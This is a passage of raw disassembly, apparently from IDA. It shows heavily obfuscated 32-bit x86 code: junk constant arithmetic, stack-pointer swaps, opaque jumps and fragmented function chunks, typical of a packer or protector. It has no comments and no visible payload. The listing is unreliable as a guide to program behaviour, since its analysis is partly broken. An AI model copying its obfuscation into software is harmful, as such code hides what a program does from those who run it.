--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599E58 loc_5A90EC: ; CODE XREF: sub_599E58+6j pop [esp+4+var_4] mov esp, [esp+0] idiv cl movzx cx, ah push small 7D43h mov [esp+0], cx movzx cx, al jmp loc_5A646B ; END OF FUNCTION CHUNK FOR sub_599E58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A9109: ; CODE XREF: sub_5A6BBC-6DAAj pop eax or ebx, ecx jmp loc_5ABDF5 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_5A9111: ; CODE XREF: sub_5A21A4+570Aj push esp pop esi add esi, 4 add esi, 4 jmp loc_59D04D ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5A9124: ; CODE XREF: sub_59F4D2+B1EFj add ebx, 32F30599h mov edi, [esp-4+arg_0] add esp, 4 pop eax push 4230h jmp loc_5AF1A3 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; =============== S U B R O U T I N E ======================================= sub_5A913B proc near ; CODE XREF: sub_59A479+1232j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h arg_12 = dword ptr 16h ; FUNCTION CHUNK AT 0059928B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00599D43 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059A833 SIZE 00000055 BYTES ; FUNCTION CHUNK AT 0059BD1A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059C4FC SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0059CE75 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059DEDD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059F0A3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A2155 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A230D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A2B07 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A2BBC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A4B26 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A5367 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A5EC9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A606A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A76C9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A8C8F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB082 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AD4D8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AF8B6 SIZE 0000001B BYTES sub esp, 4 mov [esp+0], ecx push esi jmp loc_5A5367 sub_5A913B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A9147: ; CODE XREF: sub_5AF294-44B7j neg ecx or ecx, 42E40E09h sub ecx, 50566ECEh jmp loc_5A0739 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A915A: ; CODE XREF: sub_5A118F:loc_5A6A46j add ah, 2Ah mov bh, ah pop eax xor bh, 67h shr bh, 5 jmp loc_5AADB5 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5A916B: ; CODE XREF: sub_59E94B+Dj neg ebp sub esp, 4 mov [esp+8+var_8], ecx push edi jmp loc_5A99CB ; END OF FUNCTION CHUNK FOR sub_59E94B ; =============== S U B R O U T I N E ======================================= sub_5A917C proc near ; CODE XREF: sub_5A4CF3+B03Fj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059C43B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059D842 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059EACF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059F2F7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A027E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A1D37 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A3321 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005A5A6A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AA6DC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AABE2 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005AC631 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AC8C2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AD044 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005AD80A SIZE 00000040 BYTES ; FUNCTION CHUNK AT 005AE803 SIZE 0000000B BYTES push ebp mov ebp, 4 sub edx, 5CC1006Fh add edx, ebp add edx, 5CC1006Fh pop ebp xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] pop esp add esp, 4 push 1061h mov [esp-4+arg_0], ebp push edi push 5B3E051Fh pop edi dec edi jo loc_5A1D37 shr edi, 2 inc edi sub edi, 16CF8147h jmp loc_5AC631 sub_5A917C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A91C6: ; CODE XREF: sub_5A2E28+1j inc [esp+4+var_4] pop ebx and ebx, 693A61AFh neg ebx add ebx, 7DFF6309h jmp loc_59914E ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A91DD: ; CODE XREF: sub_5A0FFF+2FA4j sub ebp, 868C349Ah add ebp, 66154521h and ebp, 3C156C69h push ecx mov ecx, 6A992F93h push ebx mov ebx, 24DFFDA3h sub ecx, ebx pop ebx sub ebp, ecx pop ecx sub ebp, 0FFFFFFFFh push edx mov edx, 32414061h jmp loc_5AF511 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8931 loc_5A920F: ; CODE XREF: sub_5A8931-4B1Bj pop edx sub edx, 16AF4873h add edx, esi jmp loc_5A176B ; END OF FUNCTION CHUNK FOR sub_5A8931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A921D: ; CODE XREF: sub_59C979+12B44j not cl add cl, 24h jmp loc_59CD2C ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9227: ; CODE XREF: sub_5AA2D1-B029j shl ecx, 4 sub ecx, 4F774FAEh jmp loc_59AC33 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A9235: ; CODE XREF: sub_5992DA+14BF0j xchg dh, bl dec dh xchg dh, bl inc bl shl bl, 1 push edx mov dl, 74h jmp loc_5A9D54 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A9247: ; CODE XREF: sub_5AA810-1549j jmp loc_5A7528 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC2C0 loc_5A924C: ; CODE XREF: sub_5AC2C0-10828j ; sub_5ADD33+79Aj push edi push ebp mov ebp, 27F2166Bh add ebp, 0FC7B67F2h mov edi, ebp pop ebp push esi mov esi, 5CCB630Fh shl esi, 1 shr esi, 1 sub esi, 23E94C01h jmp loc_59CB9A ; END OF FUNCTION CHUNK FOR sub_5AC2C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5A9271: ; CODE XREF: sub_5A3992-4744j add esp, 4 push ebp push 2393446Fh pop ebp push 28EEh mov [esp+8+var_8], edx sub esp, 4 jmp loc_59EE9E ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- loc_5A928B: ; CODE XREF: sdfs____:005AB425j add ebx, 4 jmp loc_5A182A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9296: ; CODE XREF: sub_5AA2D1-A8DEj jnb loc_5A4C8D or esi, 7B9E1251h jnp loc_5A5B5C add esi, 10012552h mov bl, 5 pop edi ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A92B2: ; CODE XREF: sub_59C979:loc_5AC58Aj jmp sub_599509 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_5A92B7: ; DATA XREF: sdfs____:00598E34o mov ax, [esp] jmp loc_5A02E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A92C0: ; CODE XREF: sub_5AA810-D2AAj inc ecx sub ecx, 426B43E2h ja loc_5A9247 jmp loc_5ADA50 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- push edi push ebp mov ch, bh xor al, 0FEh ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A92D8: ; CODE XREF: sub_59D6B8+667Fj ; sdfs____:005AD875j push edx push 1D2B1AF1h pop edx shr edx, 5 jns loc_59CA02 neg edx jp loc_5A5576 sub edx, 0FF16A725h push ebp loc_5A92F7: ; CODE XREF: sub_5992DA+8A44j mov [esp+0], eax mov al, 0BEh push eax mov ah, 0B9h xor ah, 0AEh add bl, ah pop eax sub bl, al sub bl, 17h jmp loc_59B5F0 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- loc_5A930F: ; DATA XREF: sdfs____:00598E30o lodsb push 5432h mov [esp], edx mov dl, 2Eh add al, dl mov edx, [esp] add esp, 4 push dx mov dl, 64h sub al, dl pop dx add al, bl add al, 64h push 5BAh jmp loc_5A456B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DD36 loc_5A9338: ; CODE XREF: sub_59DD36+19j mov ebx, 43BD1727h add ebx, 1 jmp loc_5A647B ; END OF FUNCTION CHUNK FOR sub_59DD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A9345: ; CODE XREF: sub_59A26C+1CE4j pop edx xchg ebp, [esp+0] mov esp, [esp+0] push dword ptr [esp+0] push [esp-10h+arg_C] pop eax jmp loc_5A0C2A ; --------------------------------------------------------------------------- loc_5A9358: ; CODE XREF: sub_59A26C+ABFFj and edx, 39FF7BDFh jge loc_5A9E42 inc edx jns loc_5A621F mov cl, 0BCh mov bh, bl loc_5A936F: ; CODE XREF: sub_5AE29C-3423j mov esi, esp add esi, 4 jmp loc_59AE7C ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A937C: ; CODE XREF: sub_5A79BE-3AA8j jnb loc_59BC20 jmp loc_59F842 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- push 0 mov al, 0 mov ebx, ecx ; START OF FUNCTION CHUNK FOR sub_59F566 loc_5A9390: ; CODE XREF: sub_59F566+1j mov ebp, 7F1F7B01h shr ebp, 6 add ebp, 1DCF32E2h sub ebp, 188AA1D2h sub esi, ebp pop ebp pop ebp jmp loc_59CA41 ; END OF FUNCTION CHUNK FOR sub_59F566 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A93AD: ; CODE XREF: sdfs____:0059B783j ; sub_5A0AA2+B1E3j and edx, 70D70C00h jmp loc_59A6DE ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A93B8: ; CODE XREF: sub_59F02F+D6CBj add esi, 0B5618FDBh jmp loc_59C365 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A93C3: ; CODE XREF: sub_59D6B8-3B23j mov ebx, esp jmp loc_5ADCB0 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A93CA: ; CODE XREF: sub_5AF294-6B80j pop esp push eax mov eax, 4 add esi, 6337341h add esi, eax jmp loc_5AADC6 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A93DE: ; CODE XREF: sub_5AFD37-CC5Fj ; sub_5AA2D1+514Aj jl loc_5A4F6A and eax, 7E37516Dh jle loc_5A8317 or eax, 21351BA3h sub eax, 0C4374449h push eax add [esp-1Ch+arg_18], 3C595DBAh pop ebp sub ebp, 3C595DBAh pop eax dec ebp jnp loc_5A7B23 jmp loc_59E67D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A9415: ; CODE XREF: sub_59D6B8+10AFFj mov eax, esp add eax, 4 push esi mov esi, 4 add eax, esi pop esi xor eax, [esp+4+var_4] xor [esp+4+var_4], eax xor eax, [esp+4+var_4] pop esp xor edx, edx jmp loc_59D707 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A81C4 loc_5A9436: ; CODE XREF: sub_5A81C4-80A4j mov ecx, [esp+0] jmp loc_59D967 ; END OF FUNCTION CHUNK FOR sub_5A81C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A943E: ; CODE XREF: sub_5AA2D1-2D23j or edi, 3F8E75E5h jns loc_5A0ED7 add edi, 208A0Dh mov edx, edi jmp loc_5AC280 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A9457: ; CODE XREF: sub_5A79BE-6258j add esp, 4 xchg edx, [esp-8+arg_4] jmp loc_5A8BF2 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9462: ; CODE XREF: sub_5AA2D1-ABE1j add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_59BC48 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A9476: ; CODE XREF: sub_59CBE1+43Cj add ebx, 4 jmp sub_5A2065 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A9481: ; CODE XREF: sub_59A9E9+4C5Dj push 3C62h mov [esp+18h+var_18], edx mov dh, bl push eax mov ah, dh push ebx jmp loc_59C945 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_5A9494: ; CODE XREF: sub_5A3C19+98BAj add esp, 4 pop [esp-8+arg_4] mov esp, [esp-0Ch+arg_8] jmp sub_5A06DD ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_5A94A2: ; CODE XREF: sub_5AA810-10DE5j jmp loc_5AAA8D ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5A94A7: ; CODE XREF: sub_5A2E41+A1F8j dec ecx add ecx, 0D7AEDD4Bh or edi, ecx pop ecx jmp loc_5A478F ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5A94B6: ; CODE XREF: sub_5A580F-58A5j xor eax, 185E43FDh sub [esp+0Ch+var_8], eax jmp loc_5AA514 ; END OF FUNCTION CHUNK FOR sub_5A580F ; =============== S U B R O U T I N E ======================================= sub_5A94C4 proc near ; DATA XREF: sdfs____:00598E6Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push dword ptr [esp+0] push [esp+4+var_4] push [esp+8+var_8] mov eax, [esp+0Ch+var_C] add esp, 4 push ebp jmp loc_59CC7F sub_5A94C4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A94D9: ; CODE XREF: sub_5AA2D1-5C2Ej push eax push esi mov esi, 2D950647h mov eax, 7400609Bh sub eax, esi jmp loc_5A3D3C ; --------------------------------------------------------------------------- loc_5A94EC: ; CODE XREF: sub_5AA2D1+5C97j add ebx, eax pop eax jmp sub_5A79BE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A94F4: ; CODE XREF: sub_59D6B8+1D73j pop ebx add eax, 2 xchg eax, [esp+4+var_4] pop esp jmp loc_59B06D ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5A9501: ; CODE XREF: sub_5AD993-12DE2j mov esi, 798E4CB1h mov ecx, esi mov esi, [esp-10h+arg_C] add esp, 4 neg ecx sub esp, 4 mov [esp-10h+arg_C], ebp jmp loc_5A48B6 ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A9521: ; CODE XREF: sub_59A26C-CDAj xor ebp, 508A3F88h sub eax, 50C90A71h add eax, ebp add eax, 50C90A71h jmp loc_5AC8CF ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A9538: ; CODE XREF: sub_5A9D64+6j mov [esp+4+var_4], ebp mov ebp, 6A0D711Ah add eax, ebp mov ebp, [esp+4+var_4] add esp, 4 push 44F0h mov [esp+4+var_4], ebp mov ebp, 354811D8h add eax, ebp pop ebp jmp loc_5A27AC ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9560: ; CODE XREF: sub_5AA2D1+5E14j add esi, ebx pop ebx shl esi, 7 push esi not [esp+8+var_8] pop esi jmp loc_5AC01E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5607 loc_5A9570: ; CODE XREF: sub_5A5607+13j sub esi, 404A065Bh pop ebx jmp loc_5A0861 ; END OF FUNCTION CHUNK FOR sub_5A5607 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_5A957C: ; CODE XREF: sub_59FB1A+9163j pop ebx jmp loc_59E9D3 ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A9582: ; CODE XREF: sub_5A79BE-49D5j mov ecx, 5C943992h shl ecx, 3 shl ecx, 5 jmp loc_5AC982 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_5A9592: ; CODE XREF: sub_5AB207+1j push ecx push 4D7E472Fh mov ecx, [esp-4+arg_0] add esp, 4 xor ecx, 63D92553h jmp loc_5A6DC5 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF294 loc_5A95A9: ; CODE XREF: sub_5AF294:loc_5A0739j xor ecx, 28BEEBB5h dec ecx jg loc_59F6E0 shr ecx, 5 jnp loc_59958C jmp loc_5A5410 ; END OF FUNCTION CHUNK FOR sub_5AF294 ; --------------------------------------------------------------------------- push esp loc_5A95C5: ; CODE XREF: sdfs____:0059FD5Dj push edx mov edx, 27A500Bh or edx, 0D634E3Ah shl edx, 7 jmp loc_599C07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_5A95D9: ; CODE XREF: sub_5AD84A-128C7j pop ebx jmp loc_59B470 ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A95DF: ; CODE XREF: sub_5A503A+1Bj jbe loc_59EFCC shl ebx, 6 shl ebx, 7 add ebx, 0E619BDFh sub esp, 4 jmp loc_5A989D ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAFCA loc_5A95F9: ; CODE XREF: sub_5AAFCA+4AEEj push edx push [esp+8+var_4] mov edx, [esp+0Ch+var_C] add esp, 4 pop [esp+8+var_8] pop esp jmp loc_5A1A86 ; END OF FUNCTION CHUNK FOR sub_5AAFCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A960D: ; CODE XREF: sub_59C979+11F89j push edx push ecx jmp loc_5A8973 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5A9614: ; CODE XREF: sub_5996E4+F438j mov edi, 75467505h or edi, 3D374E84h shl edi, 3 sub edi, 1B6535C7h shl edi, 3 jmp loc_59B840 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_5A9630: ; CODE XREF: sub_5AB622+45EDj add esp, 4 mov ebx, [esp+0Ch+var_C] add esp, 4 push ecx mov ecx, 2 add edi, ecx pop ecx xor edi, [esp+8+var_8] xor [esp+8+var_8], edi xor edi, [esp+8+var_8] pop esp shl word ptr [esp+4+var_4], cl pushf jmp loc_59C120 ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- loc_5A9659: ; CODE XREF: sdfs____:005ACC13j sub bh, 4Fh jmp loc_59E2F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AEC1C loc_5A9661: ; CODE XREF: sub_5AEC1C-8DC0j shl dh, 6 or dh, 0F7h sub dh, 48h jmp loc_5A294F ; END OF FUNCTION CHUNK FOR sub_5AEC1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A966F: ; CODE XREF: sub_5992DA+12790j xor ecx, edx mov edx, [esp-4+arg_0] add esp, 4 add eax, 12BB2E16h sub eax, 57403C27h add eax, ecx add eax, 57403C27h sub esp, 4 mov [esp-4+arg_0], ecx mov ecx, 5A332863h and ecx, 6B457EA7h xor ecx, 64F73D97h dec ecx sub ecx, 1C3AE79Dh sub eax, ecx jmp loc_5ADDDA ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A96B0: ; CODE XREF: sub_59C979+1710j pop esp push small 302Fh mov [esp+2+var_2], dx push 3085h mov [esp+6+var_6], ebx mov bh, 6Eh and bh, 0B9h jl loc_5A1756 jmp loc_599582 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5A96D1: ; CODE XREF: sub_5B03B3-158EDj pop ebx pop edi jmp loc_59DB52 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; =============== S U B R O U T I N E ======================================= sub_5A96D8 proc near ; CODE XREF: sub_5A6BBC-AB7Aj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005995EB SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0059C7DC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059F7A0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A14ED SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005ACA9E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005AED1F SIZE 0000000B BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp sub esp, 4 mov [esp+4+var_4], ebp push 72D7h mov [esp+8+var_8], esp add [esp+8+var_8], 4 mov ebp, [esp+8+var_8] jmp loc_59F7A0 sub_5A96D8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A1531 loc_5A9705: ; CODE XREF: sub_5A1531+9j dec ebp sub ebp, 47FEA0CCh jmp loc_5A6C68 ; END OF FUNCTION CHUNK FOR sub_5A1531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A9711: ; CODE XREF: sub_59F02F+7148j xchg esi, [esp+10h+var_10] pop esp push edx pop edi pop edx shl edi, 1 push 759Ch mov [esp+0Ch+var_C], ecx push esi mov esi, 1AB05FF9h inc esi not esi jmp loc_5AC6EF ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABC2F loc_5A9730: ; CODE XREF: sub_5ABC2F+7j mov eax, [esp+8+var_8] push ecx push esp pop ecx jmp loc_59C99B ; END OF FUNCTION CHUNK FOR sub_5ABC2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_5A973B: ; CODE XREF: sub_5A503A:loc_5A19C9j xor edi, 7FF50635h jmp loc_5A21DC ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5A9746: ; CODE XREF: sub_59CBE1-23D4j xor eax, ebp jmp loc_59EC70 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABE0D loc_5A974D: ; CODE XREF: sub_5ABE0D+25j add edx, 28884F5Bh jz loc_5A29D8 push eax push esi jmp loc_5AE4DE ; END OF FUNCTION CHUNK FOR sub_5ABE0D ; --------------------------------------------------------------------------- loc_5A9760: ; CODE XREF: sdfs____:0059DEFCj xor edi, edx jmp loc_59E861 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A9767: ; CODE XREF: sub_5AA2D1-AF3Aj pop ecx add edx, eax mov eax, [esp-14h+arg_10] push ecx jmp loc_5ADD20 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A9773: ; CODE XREF: sub_59C979+1204j pop esp mov esi, 0FFFE071Ah jmp loc_5A200F ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A977E: ; CODE XREF: sub_5AA2D1-E8EFj sub eax, 66A339B0h jnb loc_5A0B1B xor eax, 0ABDEC484h sub esp, 4 jmp loc_5AB20D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A9799 proc near ; DATA XREF: sdfs____:00599070o mov ax, [esp+0] jmp sub_5A556E sub_5A9799 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2F58 loc_5A97A2: ; CODE XREF: sub_5A2F58+836j jmp loc_5AD3AD ; END OF FUNCTION CHUNK FOR sub_5A2F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C95F loc_5A97A7: ; CODE XREF: sub_59C95F-729j mov [esp-4+arg_0], edi push [esp-4+arg_4] pop edi pop [esp-4+arg_0] pop esp mov cx, [esp+0] push 3BB7h jmp loc_59C793 ; END OF FUNCTION CHUNK FOR sub_59C95F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A97C1: ; CODE XREF: sub_59A9E9+B6B5j push esi mov esi, 976C5B2Ah add ecx, esi pop esi mov ebx, ecx mov ecx, [esp+8+var_8] add esp, 4 push 6D37h mov [esp+8+var_8], eax push ebx mov ebx, 68426CA8h mov eax, ebx pop ebx jmp loc_5A7B2F ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5A97E8: ; CODE XREF: sub_5A0924-575Fj mov [esp+0], ecx push 3994h push esp pop [esp+8+var_8] add [esp+4+var_4], 4 mov ecx, [esp+4+var_4] jmp loc_5A88D6 ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4B1 loc_5A9800: ; CODE XREF: sub_59B4B1+496Cj sub bl, dh push 266Bh mov [esp+0], eax mov ah, 4Dh add bl, ah pop eax push 31F4h mov [esp+0], ecx mov ch, 0A4h sub bl, 8Ch sub bl, ch jmp loc_5AB9FF ; END OF FUNCTION CHUNK FOR sub_59B4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A9823: ; CODE XREF: sub_5A2E28-9C90j ; sub_59EE3E+28B6j push [esp+arg_0] pop eax pop dword ptr [esp+0] pop 